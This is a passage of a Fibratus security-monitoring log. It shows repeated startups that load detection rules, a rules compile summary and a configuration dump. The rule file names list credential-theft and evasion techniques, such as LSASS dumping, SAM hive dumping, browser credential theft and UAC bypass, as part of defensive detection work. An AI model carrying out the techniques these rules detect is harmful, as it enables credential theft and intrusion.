scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:46:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:46:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:47:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:47:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:47:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:47:05+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:47:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:47:05+01:00 level=info msg=bootstrapping with pid 10396. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:47:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true max-buffers=>36 enable-threadpool=>false enable-handle=>false enable-registry=>true buffer-size=>512 stack-enrichment=>true enable-vamap=>true enable-thread=>true enable-mem=>false flush-interval=>1s enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-audit-api=>true enable-image=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 formatter=>text level=>info log-stdout=>true] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic delivery-mode=>transient exchange=>fibratus routing-key=>fibratus passive=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ durable=>false enabled=>false] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json endpoints=>[] enable-gzip=>false enabled=>false timeout=>5s method=>POST tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ healthcheck=>true index-name=>fibratus template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s trace-log=>false sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s healthcheck-interval=>10s gzip-compression=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s enabled=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:47:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:47:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:48:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:48:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:48:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:48:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:48:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml 